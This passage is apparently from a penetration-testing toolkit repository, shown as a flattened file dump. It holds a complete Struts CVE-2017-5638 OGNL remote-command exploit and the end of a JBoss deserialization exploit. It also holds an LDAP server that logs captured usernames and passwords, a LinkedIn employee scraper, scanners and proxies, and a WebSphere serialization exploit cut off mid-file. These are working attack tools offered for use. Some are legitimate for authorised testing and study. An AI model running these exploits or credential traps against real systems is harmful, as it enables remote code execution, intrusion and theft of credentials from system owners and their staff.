bytes.NewReader(serializedObject)) 43 | if err != nil { 44 | return 0, err 45 | } 46 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko") 47 | req.Header.Set("Content-Type", "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue") 48 | resp, err := client.Do(req) 49 | if err != nil { 50 | return 0, err 51 | } 52 | return resp.StatusCode, nil 53 | } 54 | 55 | func main() { 56 | var ( 57 | host = flag.String("host", "", "The host and port to attack, ex: 192.168.1.1:8080") 58 | isSSL = flag.Bool("ssl", false, "Use SSL") 59 | command = flag.String("cmd", "", "The command to be executed") 60 | ) 61 | flag.Parse() 62 | 63 | code, err := jboss(*host, *isSSL, *command) 64 | if err != nil { 65 | log.Fatal(err) 66 | } 67 | log.Printf("Got status code: %d", code) 68 | } 69 | -------------------------------------------------------------------------------- /ldap-capture-server/bind.php: -------------------------------------------------------------------------------- 1 | 12 | -------------------------------------------------------------------------------- /ldap-capture-server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | 8 | "bufio" 9 | "os" 10 | 11 | ldap "github.com/vjeantet/ldapserver" 12 | ) 13 | 14 | var allowed = map[string]bool{} 15 | 16 | func handle(w ldap.ResponseWriter, m *ldap.Message) { 17 | r := m.GetBindRequest() 18 | success := ldap.NewBindResponse(ldap.LDAPResultSuccess) 19 | failure := ldap.NewBindResponse(ldap.LDAPResultNoSuchObject) 20 | 21 | username := fmt.Sprintf("%s", r.Name()) 22 | password := r.AuthenticationSimple().String() 23 | 24 | log.Printf("[+] Username: %s Password: %s\n", username, password) 25 | 26 | if len(allowed) < 1 { 27 | w.Write(success) 28 | return 29 | } 30 | 31 | if ok := allowed[username]; !ok { 32 | w.Write(failure) 33 | return 34 | } 35 | 36 | w.Write(success) 37 | } 38 | 39 | func main() { 40 | addr := flag.String("addr", ":389", "Address for LDAP server to bind to") 41 | ufile := flag.String("users", "", "File containing a line separated list of users who are allowed to bind to the server.") 42 | flag.Parse() 43 | 44 | if *ufile != "" { 45 | fh, err := os.Open(*ufile) 46 | if err != nil { 47 | log.Fatalf("[!] Could not open file: %s\n", err.Error()) 48 | } 49 | defer fh.Close() 50 | scanner := bufio.NewScanner(fh) 51 | for scanner.Scan() { 52 | allowed[scanner.Text()] = true 53 | } 54 | if err := scanner.Err(); err != nil { 55 | log.Fatalf("[!] Error reading file: %s\n", err.Error()) 56 | } 57 | } 58 | 59 | server := ldap.NewServer() 60 | routes := ldap.NewRouteMux() 61 | routes.Bind(handle) 62 | server.Handle(routes) 63 | 64 | log.Fatal(server.ListenAndServe(*addr)) 65 | 66 | } 67 | -------------------------------------------------------------------------------- /live-hosts/main.go: -------------------------------------------------------------------------------- 1 | /*live-hosts reads an nmap xml file from stdin or as an argument and shows the hosts that are alive*/ 2 | package main 3 | 4 | import ( 5 | "flag" 6 | "fmt" 7 | "io/ioutil" 8 | "os" 9 | 10 | "github.com/lair-framework/go-nmap" 11 | ) 12 | 13 | func checkError(err error) { 14 | if err != nil { 15 | fmt.Println(err) 16 | os.Exit(1) 17 | } 18 | } 19 | func main() { 20 | var file *os.File 21 | var err error 22 | pUp := flag.Bool("p", false, "host must have at least one port to be alive") 23 | flag.Parse() 24 | if len(flag.Args()) >= 1 { 25 | file, err = os.Open(flag.Arg(0)) 26 | checkError(err) 27 | } else { 28 | file = os.Stdin 29 | } 30 | data, err := ioutil.ReadAll(file) 31 | checkError(err) 32 | n, err := nmap.Parse(data) 33 | checkError(err) 34 | 35 | for _, h := range n.Hosts { 36 | if h.Status.State == "up" { 37 | if *pUp { 38 | for _, p := range h.Ports { 39 | if p.State.State == "open" { 40 | fmt.Println(h.Addresses[0].Addr) 41 | break 42 | } 43 | } 44 | continue 45 | } 46 | fmt.Println(h.Addresses[0].Addr) 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /loinkedon/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "flag" 6 | "log" 7 | "net/http" 8 | "encoding/base64" 9 | "fmt" 10 | "strings" 11 | ) 12 | 13 | type L struct { 14 | Included []struct { 15 | FirstName string `json:"firstName,omitempty"` 16 | LastName string `json:"lastName,omitempty"` 17 | Occupation string `json:"occupation,omitempty"` 18 | } `json:"included"` 19 | } 20 | 21 | type RequestResponse struct { 22 | Response struct { 23 | Headers struct { 24 | ContentType string `json:"Content-Type"` 25 | }`json:"headers"` 26 | Path string `json:"path"` 27 | Body string `json:"body"` 28 | } `json:"response"` 29 | } 30 | 31 | func main() { 32 | addr := flag.String("addr", "localhost:3001", "address to listen on") 33 | flag.Parse() 34 | 35 | http.HandleFunc("/response", func(w http.ResponseWriter, r *http.Request) { 36 | defer w.Write([]byte("ok")) 37 | var req RequestResponse 38 | if err := json.NewDecoder(r.Body).Decode(&req); err != nil { 39 | log.Printf("Error: %s\n", err.Error()) 40 | return 41 | } 42 | if !strings.Contains(req.Response.Headers.ContentType, "application/vnd.linkedin.normalized+json") { 43 | return 44 | } 45 | buff, err := base64.StdEncoding.DecodeString(req.Response.Body) 46 | if err != nil { 47 | log.Printf("Error: %s\n", err.Error()) 48 | return 49 | } 50 | l := L{} 51 | if err := json.Unmarshal(buff, &l); err != nil { 52 | log.Printf("Error: %s\n", err.Error()) 53 | return 54 | } 55 | for _, i := range l.Included { 56 | if i.FirstName == "" { 57 | continue 58 | } 59 | fmt.Printf("first_name: %s last_name: %s title: %s\n", i.FirstName, i.LastName, i.Occupation) 60 | } 61 | 62 | }) 63 | 64 | log.Fatal(http.ListenAndServe(*addr, nil)) 65 | } 66 | -------------------------------------------------------------------------------- /open-things/main.go: -------------------------------------------------------------------------------- 1 | /* open-things opens a list of files or urls */ 2 | package main 3 | 4 | import ( 5 | "bufio" 6 | "flag" 7 | "fmt" 8 | "os" 9 | 10 | "github.com/skratchdot/open-golang/open" 11 | ) 12 | 13 | func checkError(err error) { 14 | if err != nil { 15 | fmt.Println(err) 16 | os.Exit(1) 17 | } 18 | } 19 | 20 | func main() { 21 | var file *os.File 22 | var err error 23 | flag.Parse() 24 | if len(flag.Args()) >= 1 { 25 | file, err = os.Open(flag.Arg(0)) 26 | checkError(err) 27 | } else { 28 | file = os.Stdin 29 | } 30 | defer file.Close() 31 | 32 | scanner := bufio.NewScanner(file) 33 | for scanner.Scan() { 34 | open.Run(scanner.Text()) 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /password-is-complex/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "flag" 6 | "fmt" 7 | "bufio" 8 | "regexp" 9 | ) 10 | 11 | var matches = []*regexp.Regexp{ 12 | regexp.MustCompile(`[a-z]`), 13 | regexp.MustCompile(`[A-Z]`), 14 | regexp.MustCompile(`[0-9]`), 15 | regexp.MustCompile(`[^0-9a-zA-Z]`), 16 | } 17 | 18 | func checkError(err error) { 19 | if err != nil { 20 | fmt.Println(err) 21 | os.Exit(1) 22 | } 23 | } 24 | 25 | func isComplex(p string) bool { 26 | var typ int 27 | for _, m := range matches { 28 | if m.MatchString(p) { 29 | typ++ 30 | } 31 | } 32 | return typ > 2 && len(p) >= 8 33 | } 34 | 35 | 36 | func main() { 37 | var file *os.File 38 | var err error 39 | input := flag.String("input", "", "file containing passwords") 40 | flag.Parse() 41 | 42 | if *input != "" { 43 | file, err = os.Open(*input) 44 | checkError(err) 45 | } else { 46 | file = os.Stdin 47 | } 48 | defer file.Close() 49 | 50 | scanner := bufio.NewScanner(file) 51 | for scanner.Scan() { 52 | p := scanner.Text() 53 | if isComplex(p) { 54 | fmt.Println(p) 55 | } 56 | } 57 | } -------------------------------------------------------------------------------- /port-open/main.go: -------------------------------------------------------------------------------- 1 | /*port-open reads an nmap xml file from stdin or as an argument and shows the hosts and port with that port open*/ 2 | package main 3 | 4 | import ( 5 | "flag" 6 | "fmt" 7 | "io/ioutil" 8 | "os" 9 | "regexp" 10 | "strconv" 11 | "strings" 12 | 13 | "github.com/lair-framework/go-nmap" 14 | ) 15 | 16 | func checkError(err error) { 17 | if err != nil { 18 | fmt.Println(err) 19 | os.Exit(1) 20 | } 21 | } 22 | 23 | func stringInSlice(a string, list []string) bool { 24 | for _, b := range list { 25 | if b == a { 26 | return true 27 | } 28 | } 29 | return false 30 | } 31 | 32 | func main() { 33 | var file *os.File 34 | var err error 35 | 36 | format := flag.String("f", "%s:%d", "ip and port format string") 37 | port := flag.String("p", "80", "comma delimited port to search for, can be '-1' to match all ports") 38 | service := flag.String("s", ".*", "service regex to search for ex: http") 39 | product := flag.String("pr", ".*", "product regex to search for ex: Apache") 40 | flag.Parse() 41 | 42 | if len(flag.Args()) >= 1 { 43 | file, err = os.Open(flag.Arg(0)) 44 | checkError(err) 45 | } else { 46 | file = os.Stdin 47 | } 48 | data, err := ioutil.ReadAll(file) 49 | checkError(err) 50 | n, err := nmap.Parse(data) 51 | checkError(err) 52 | 53 | ports := strings.Split(*port, ",") 54 | 55 | for _, h := range n.Hosts { 56 | if h.Status.State == "up" { 57 | ip := h.Addresses[0].Addr 58 | for _, p := range h.Ports { 59 | sm, serr := regexp.MatchString(*service, p.Service.Name) 60 | pm, perr := regexp.MatchString(*product, p.Service.Product) 61 | if (sm && serr == nil) && (pm && perr == nil) && (*port == "-1" || stringInSlice(strconv.Itoa(p.PortId), ports)) && p.State.State == "open" { 62 | fmt.Printf(*format, ip, p.PortId) 63 | fmt.Println() 64 | } 65 | } 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /port-scanner/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "net" 7 | "os" 8 | "strconv" 9 | "strings" 10 | "sync" 11 | "time" 12 | ) 13 | 14 | // explodePorts takes a portstring similar to nmap and returns an array of ports. 15 | func explodePorts(portstring string) ([]int, error) { 16 | errmsg := "Invalid Port specification" 17 | ports := []int{} 18 | portTokens := strings.Split(portstring, ",") 19 | for _, token := range portTokens { 20 | switch { 21 | case strings.Contains(token, "-"): 22 | sp := strings.Split(token, "-") 23 | if len(sp) != 2 { 24 | return ports, errors.New(errmsg) 25 | } 26 | start, err := strconv.Atoi(sp[0]) 27 | if err != nil { 28 | return ports, errors.New(errmsg) 29 | } 30 | end, err := strconv.Atoi(sp[1]) 31 | if err != nil { 32 | return ports, errors.New(errmsg) 33 | } 34 | if start > end || start < 1 || end > 65535 { 35 | return ports, errors.New(errmsg) 36 | } 37 | for ; start <= end; start++ { 38 | ports = append(ports, start) 39 | } 40 | case strings.Contains(token, ","): 41 | sp := strings.Split(token, ",") 42 | for _, p := range sp { 43 | i, err := strconv.Atoi(p) 44 | if err != nil { 45 | return ports, errors.New(errmsg) 46 | } 47 | if i < 1 || i > 65535 { 48 | return ports, errors.New(errmsg) 49 | } 50 | ports = append(ports, i) 51 | } 52 | default: 53 | i, err := strconv.Atoi(token) 54 | if err != nil { 55 | return ports, errors.New(errmsg) 56 | } 57 | if i < 1 || i > 65535 { 58 | return ports, errors.New(errmsg) 59 | } 60 | ports = append(ports, i) 61 | } 62 | } 63 | return ports, nil 64 | } 65 | 66 | func main() { 67 | 68 | if len(os.Args) < 3 { 69 | fmt.Printf("%s \n", os.Args[0]) 70 | os.Exit(1) 71 | } 72 | 73 | host := os.Args[1] 74 | portStr := os.Args[2] 75 | 76 | ports, err := explodePorts(portStr) 77 | if err != nil { 78 | fmt.Printf("Error parsing port string: Error: %s", err.Error()) 79 | os.Exit(1) 80 | } 81 | 82 | wg := sync.WaitGroup{} 83 | wg.Add(len(ports)) 84 | 85 | // We'll need a channel for passing the port to be scanned to our pool of goroutines. 86 | port := make(chan int) 87 | fmt.Printf("Host %s\n", host) 88 | 89 | // Here we create 50 goroutines. 90 | for l := 0; l < 50; l++ { 91 | go func() { 92 | // port is a channel, by calling range this goroutine will wait for a port 93 | // to be sent over the channel. 94 | for p := range port { 95 | if conn, err := net.DialTimeout("tcp", host+":"+strconv.Itoa(p), 500*time.Millisecond); err == nil { 96 | fmt.Printf("%d open\n", p) 97 | conn.Close() 98 | } 99 | wg.Done() 100 | } 101 | }() 102 | } 103 | 104 | for _, p := range ports { 105 | port <- p 106 | } 107 | 108 | wg.Wait() 109 | close(port) 110 | fmt.Println("done") 111 | } 112 | -------------------------------------------------------------------------------- /post-anything/main.go: -------------------------------------------------------------------------------- 1 | /* post-anything allows you to send HTTP POST/GET to anything, anywhere. 2 | supports CORS, and can be used as a static file server*/ 3 | package main 4 | 5 | import ( 6 | "flag" 7 | "fmt" 8 | "io" 9 | "log" 10 | "mime/multipart" 11 | "net/http" 12 | "net/url" 13 | "os" 14 | 15 | "github.com/mholt/binding" 16 | ) 17 | 18 | type fileRequest struct { 19 | File *multipart.FileHeader 20 | } 21 | 22 | func (f *fileRequest) FieldMap(req *http.Request) binding.FieldMap { 23 | return binding.FieldMap{ 24 | &f.File: "file", 25 | } 26 | } 27 | 28 | func main() { 29 | listen := flag.String("listen", "", "interface to listen on e.g. 0.0.0.0:8000") 30 | dir := flag.String("dir", "", "serve static files from here, will use url of /static/*") 31 | flag.Parse() 32 | if *listen == "" { 33 | log.Fatal("listen is required") 34 | } 35 | 36 | http.HandleFunc("/sendfile", func(w http.ResponseWriter, req *http.Request) { 37 | fReq := &fileRequest{} 38 | binding.MaxMemory = 104857600000 39 | if errs := binding.Bind(req, fReq); errs.Len() != 0 { 40 | w.WriteHeader(500) 41 | return 42 | } 43 | if fReq.File == nil { 44 | w.WriteHeader(400) 45 | return 46 | } 47 | fh, err := fReq.File.Open() 48 | if err != nil { 49 | w.WriteHeader(500) 50 | return 51 | } 52 | defer fh.Close() 53 | fh2, err := os.Create(fReq.File.Filename) 54 | if err != nil { 55 | w.WriteHeader(500) 56 | return 57 | } 58 | defer fh2.Close() 59 | 60 | if _, err := io.Copy(fh2, fh); err != nil { 61 | w.WriteHeader(500) 62 | return 63 | } 64 | w.WriteHeader(200) 65 | }) 66 | 67 | http.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) { 68 | req.ParseForm() 69 | switch req.Method { 70 | case "GET": 71 | logMap(req.Form) 72 | case "POST": 73 | logMap(req.Form) 74 | case "OPTIONS": 75 | w.Header().Add("Access-Control-Allow-Origin", "*") 76 | } 77 | w.WriteHeader(200) 78 | }) 79 | 80 | if *dir != "" { 81 | http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir(*dir)))) 82 | } 83 | 84 | log.Fatal(http.ListenAndServe(*listen, nil)) 85 | } 86 | 87 | func logMap(m url.Values) { 88 | fmt.Println("Request Values") 89 | for k, v := range m { 90 | fmt.Println(k, v) 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /server-banner/main.go: -------------------------------------------------------------------------------- 1 | /*server-banner takes a url and returns the server header.*/ 2 | package main 3 | 4 | import ( 5 | "bufio" 6 | "crypto/tls" 7 | "encoding/csv" 8 | "flag" 9 | "fmt" 10 | "net" 11 | "net/http" 12 | "os" 13 | "time" 14 | ) 15 | 16 | func checkError(err error) { 17 | if err != nil { 18 | fmt.Println(err) 19 | os.Exit(1) 20 | } 21 | } 22 | 23 | func doReq(location string, timeout int) string { 24 | req, err := http.NewRequest("GET", location, nil) 25 | checkError(err) 26 | tr := &http.Transport{ 27 | Dial: func(network, addr string) (net.Conn, error) { 28 | return net.DialTimeout(network, addr, time.Duration(timeout)*time.Millisecond) 29 | }, 30 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 31 | } 32 | res, err := tr.RoundTrip(req) 33 | if err != nil { 34 | return "" 35 | } 36 | banner := res.Header["Server"] 37 | if len(banner) >= 1 { 38 | return banner[0] 39 | } 40 | return "" 41 | } 42 | 43 | func main() { 44 | var file *os.File 45 | var err error 46 | timeout := flag.Int("timeout", 1000, "timeout for requests") 47 | input := flag.String("input", "", "file containing urls") 48 | flag.Parse() 49 | c := csv.NewWriter(os.Stdout) 50 | 51 | if *input != "" { 52 | file, err = os.Open(*input) 53 | checkError(err) 54 | } else if len(flag.Args()) >= 1 { 55 | location := flag.Arg(0) 56 | banner := doReq(location, *timeout) 57 | if banner == "" { 58 | os.Exit(1) 59 | } 60 | checkError(c.Write([]string{location, banner})) 61 | c.Flush() 62 | } else { 63 | file = os.Stdin 64 | } 65 | defer file.Close() 66 | 67 | scanner := bufio.NewScanner(file) 68 | for scanner.Scan() { 69 | location := scanner.Text() 70 | banner := doReq(location, *timeout) 71 | if banner == "" { 72 | continue 73 | } 74 | checkError(c.Write([]string{location, banner})) 75 | c.Flush() 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /shodan-live/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "flag" 6 | "fmt" 7 | "log" 8 | "net" 9 | "net/url" 10 | "os" 11 | 12 | "github.com/tomsteele/go-shodan" 13 | ) 14 | 15 | func shodanIPsFromShodanNetSearch(client *shodan.Client, netblock string) ([]string, error) { 16 | ips := []string{} 17 | result, err := client.HostSearch("net:"+netblock, []string{}, url.Values{}) 18 | if err != nil { 19 | return ips, err 20 | } 21 | for _, m := range result.Matches { 22 | ips = append(ips, m.IPStr) 23 | } 24 | return ips, nil 25 | } 26 | 27 | func main() { 28 | var filename string 29 | switch len(flag.Args()) { 30 | case 1: 31 | filename = flag.Arg(0) 32 | default: 33 | log.Fatal("Fatal: Missing required argument") 34 | } 35 | shodanKey := os.Getenv("SHODAN_KEY") 36 | if shodanKey == "" { 37 | log.Fatal("Fatal: Missing SHODAN_KEY environment variable") 38 | } 39 | sclient := shodan.New(shodanKey) 40 | ips := []string{} 41 | file, err := os.Open(filename) 42 | if err != nil { 43 | log.Fatalf("Fatal: Could not open file. Error %s", err.Error()) 44 | } 45 | defer file.Close() 46 | 47 | scanner := bufio.NewScanner(file) 48 | for scanner.Scan() { 49 | line := scanner.Text() 50 | _, _, err := net.ParseCIDR(line) 51 | if err != nil { 52 | continue 53 | } else { 54 | fmt.Printf("Getting %s\n", line) 55 | if netIPs, err := shodanIPsFromShodanNetSearch(sclient, line); err != nil { 56 | log.Fatalf("Fatal: Error returned from shodan. Error %s", err.Error()) 57 | } else { 58 | ips = append(ips, netIPs...) 59 | } 60 | } 61 | } 62 | 63 | fmt.Printf("Shodan found %d live hosts\n", len(ips)) 64 | } 65 | -------------------------------------------------------------------------------- /smbv1/smbv1.py: -------------------------------------------------------------------------------- 1 | from impacket.smbconnection import * 2 | import sys 3 | 4 | host = sys.argv[1] 5 | 6 | smb = SMBConnection(host, host, sess_port=445, preferredDialect=SMB_DIALECT) 7 | if smb.getDialect() == SMB_DIALECT: 8 | print "SMBv1 suppported" 9 | else: 10 | print "SMBv1 not supported" 11 | -------------------------------------------------------------------------------- /socks-server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "log" 6 | 7 | "os" 8 | 9 | "github.com/things-go/go-socks5" 10 | ) 11 | 12 | func main() { 13 | 14 | addr := flag.String("addr", ":10800", "addr to listen on") 15 | flag.Parse() 16 | 17 | server := socks5.NewServer( 18 | socks5.WithLogger(socks5.NewLogger(log.New(os.Stdout, "socks5: ", log.LstdFlags))), 19 | ) 20 | if err := server.ListenAndServe("tcp", *addr); err != nil { 21 | panic(err) 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /sort-ip/main.go: -------------------------------------------------------------------------------- 1 | /*sort-ip sorts a newline delimited file by finding the left most ipv4 address*/ 2 | package main 3 | 4 | import ( 5 | "bufio" 6 | "encoding/binary" 7 | "flag" 8 | "fmt" 9 | "net" 10 | "os" 11 | "regexp" 12 | "sort" 13 | ) 14 | 15 | func checkError(err error) { 16 | if err != nil { 17 | fmt.Println(err) 18 | os.Exit(1) 19 | } 20 | } 21 | 22 | var ipreg *regexp.Regexp 23 | 24 | func init() { 25 | ipreg, _ = regexp.Compile(`(?:[0-9]{1,3}\.){3}[0-9]{1,3}`) 26 | } 27 | 28 | type ipstr []string 29 | 30 | func (i ipstr) Len() int { 31 | return len(i) 32 | } 33 | 34 | func (i ipstr) Swap(j, k int) { 35 | i[j], i[k] = i[k], i[j] 36 | } 37 | 38 | func (i ipstr) Less(j, k int) bool { 39 | first := net.ParseIP(ipreg.FindString(i[j])).To4() 40 | second := net.ParseIP(ipreg.FindString(i[k])).To4() 41 | if first == nil { 42 | return true 43 | } 44 | if second == nil { 45 | return false 46 | } 47 | return binary.BigEndian.Uint32(first) < binary.BigEndian.Uint32(second) 48 | } 49 | 50 | func main() { 51 | var file *os.File 52 | var err error 53 | flag.Parse() 54 | if len(flag.Args()) >= 1 { 55 | file, err = os.Open(flag.Arg(0)) 56 | checkError(err) 57 | } else { 58 | file = os.Stdin 59 | } 60 | defer file.Close() 61 | 62 | lines := ipstr{} 63 | scanner := bufio.NewScanner(file) 64 | for scanner.Scan() { 65 | lines = append(lines, scanner.Text()) 66 | } 67 | checkError(scanner.Err()) 68 | sort.Sort(lines) 69 | for _, i := range lines { 70 | fmt.Println(i) 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /spring_json/spring.py: -------------------------------------------------------------------------------- 1 | import json 2 | import urllib.parse 3 | 4 | def json_to_urlencoded(json_obj, base_key=None): 5 | """ 6 | Convert a JSON object to a URL-encoded string compatible with Spring MVC. 7 | 8 | Args: 9 | - json_obj: The JSON object to convert. 10 | - base_key: The base key for nested objects, used internally for recursion. 11 | 12 | Returns: 13 | A URL-encoded string representation of the JSON object. 14 | """ 15 | urlencoded_parts = [] 16 | 17 | if isinstance(json_obj, dict): 18 | for key, value in json_obj.items(): 19 | new_key = f"{base_key}[{key}]" if base_key else key 20 | urlencoded_parts.extend(json_to_urlencoded(value, new_key)) 21 | elif isinstance(json_obj, list): 22 | for index, item in enumerate(json_obj): 23 | new_key = f"{base_key}[{index}]" 24 | urlencoded_parts.extend(json_to_urlencoded(item, new_key)) 25 | else: 26 | encoded_value = urllib.parse.quote_plus(str(json_obj)) 27 | urlencoded_parts.append(f"{base_key}={encoded_value}") 28 | 29 | return urlencoded_parts 30 | 31 | def convert_json_payload_to_urlencoded(json_payload): 32 | """ 33 | Convert a JSON payload (as a string) to a URL-encoded form string. 34 | 35 | Args: 36 | - json_payload: The JSON payload as a string. 37 | 38 | Returns: 39 | A URL-encoded string compatible with Spring MVC's data binding. 40 | """ 41 | json_obj = json.loads(json_payload) 42 | urlencoded_parts = json_to_urlencoded(json_obj) 43 | return "&".join(urlencoded_parts) 44 | 45 | # Example JSON payload 46 | json_payload = """ 47 | { 48 | "name": "John Doe", 49 | "age": 30, 50 | "address": { 51 | "street": "123 Main St", 52 | "city": "Anytown" 53 | }, 54 | "hobbies": ["reading", "cycling", "hiking"] 55 | } 56 | """ 57 | 58 | # Convert JSON to URL-encoded form 59 | urlencoded_payload = convert_json_payload_to_urlencoded(json_payload) 60 | print(urlencoded_payload) 61 | -------------------------------------------------------------------------------- /struts-2017-5638/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "flag" 6 | "fmt" 7 | "io/ioutil" 8 | "net/http" 9 | "net/url" 10 | "os" 11 | ) 12 | 13 | func main() { 14 | uri := flag.String("u", "", "URL for the struts actions") 15 | command := flag.String("c", "whoami", "command to execute") 16 | flag.Parse() 17 | 18 | if *uri == "" || *command == "" { 19 | fmt.Println("Missing required argument") 20 | os.Exit(1) 21 | } 22 | 23 | u, err := url.Parse(*uri) 24 | if err != nil { 25 | fmt.Println("Error parsing url") 26 | fmt.Println(err) 27 | os.Exit(1) 28 | } 29 | 30 | client := http.DefaultClient 31 | if u.Scheme == "https" { 32 | client = &http.Client{ 33 | Transport: &http.Transport{ 34 | TLSClientConfig: &tls.Config{ 35 | InsecureSkipVerify: true, 36 | }, 37 | }, 38 | } 39 | } 40 | 41 | req, err := http.NewRequest("GET", u.String(), nil) 42 | if err != nil { 43 | fmt.Println("Error creating request") 44 | fmt.Println(err) 45 | os.Exit(1) 46 | } 47 | 48 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko") 49 | 50 | payload := "%{(#_='multipart/form-data')." 51 | payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." 52 | payload += "(#_memberAccess?" 53 | payload += "(#_memberAccess=#dm):" 54 | payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." 55 | payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." 56 | payload += "(#ognlUtil.getExcludedPackageNames().clear())." 57 | payload += "(#ognlUtil.getExcludedClasses().clear())." 58 | payload += "(#context.setMemberAccess(#dm))))." 59 | payload += fmt.Sprintf("(#cmd='%s').", *command) 60 | payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." 61 | payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." 62 | payload += "(#p=new java.lang.ProcessBuilder(#cmds))." 63 | payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." 64 | payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." 65 | payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." 66 | payload += "(#ros.flush())}" 67 | 68 | req.Header.Set("Content-Type", payload) 69 | resp, err := client.Do(req) 70 | if err != nil { 71 | fmt.Println("There was an error while sending the request") 72 | fmt.Println(err) 73 | os.Exit(1) 74 | } 75 | if resp.StatusCode != 200 { 76 | fmt.Println("Response was non-200 code. System likley not vulnerable") 77 | os.Exit(0) 78 | } 79 | fmt.Println("Command executed:") 80 | data, _ := ioutil.ReadAll(resp.Body) 81 | fmt.Println(string(data)) 82 | } 83 | -------------------------------------------------------------------------------- /tcp-proxy/go.mod: -------------------------------------------------------------------------------- 1 | module example.com/foobar 2 | 3 | go 1.17 4 | -------------------------------------------------------------------------------- /tcp-proxy/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "io" 6 | "log" 7 | "net" 8 | "sync" 9 | ) 10 | 11 | func check(err error) { 12 | if err != nil { 13 | log.Fatal(err) 14 | } 15 | } 16 | 17 | func main() { 18 | srcAddr := flag.String("s", "localhost:3000", "the local host and port to listen on") 19 | dstAddr := flag.String("d", "", "the destination host and port to listen on") 20 | flag.Parse() 21 | if *dstAddr == "" { 22 | log.Fatal("Missing -d") 23 | } 24 | c, err := net.Listen("tcp", *srcAddr) 25 | check(err) 26 | for { 27 | conn, err := c.Accept() 28 | check(err) 29 | go func(src net.Conn) { 30 | w := &sync.WaitGroup{} 31 | defer src.Close() 32 | dst, err := net.Dial("tcp", *dstAddr) 33 | check(err) 34 | defer dst.Close() 35 | w.Add(2) 36 | go func(src, dst net.Conn) { 37 | io.Copy(src, dst) 38 | w.Done() 39 | }(src, dst) 40 | go func(dst, src net.Conn) { 41 | io.Copy(dst, src) 42 | w.Done() 43 | }(dst, src) 44 | w.Wait() 45 | }(conn) 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /tcp-socks4-proxy/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "io" 6 | "log" 7 | "net" 8 | 9 | "github.com/eahydra/socks" 10 | ) 11 | 12 | func checkAndFatal(err error) { 13 | if err != nil { 14 | log.Fatal(err) 15 | } 16 | } 17 | 18 | func main() { 19 | socksAddr := flag.String("socks-addr", "", "the host:port for your socks proxy") 20 | dstAddr := flag.String("dest-addr", "", "the host:port for your destination") 21 | listenAddr := flag.String("listen-addr", "", "the host:port for listen on") 22 | flag.Parse() 23 | 24 | client, err := socks.NewSocks4Client("tcp", *socksAddr, "", socks.Direct) 25 | checkAndFatal(err) 26 | 27 | listen, err := net.Listen("tcp", *listenAddr) 28 | checkAndFatal(err) 29 | 30 | for { 31 | y, err := listen.Accept() 32 | if err != nil { 33 | log.Println(err) 34 | continue 35 | } 36 | 37 | go func(z net.Conn) { 38 | x, err := client.Dial("tcp", *dstAddr) 39 | checkAndFatal(err) 40 | go io.Copy(x, z) 41 | io.Copy(z, x) 42 | x.Close() 43 | y.Close() 44 | }(y) 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /websphere-serial-exploit/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/tls" 6 | "encoding/base64" 7 | "encoding/hex" 8 | "flag" 9 | "fmt" 10 | "log" 11 | "net/http" 12 | ) 13 | 14 | func websphere(host string, ssl bool, cmd string) (int, error) { 15 | body := ` 16 | 17 | 18 | 19 | 20 | 21 | rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA== 22 | getUnsavedChanges 23 | %s 24 | rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24= 25 | 26 | 27 | ` 28 | 29 | serializedObject, err := 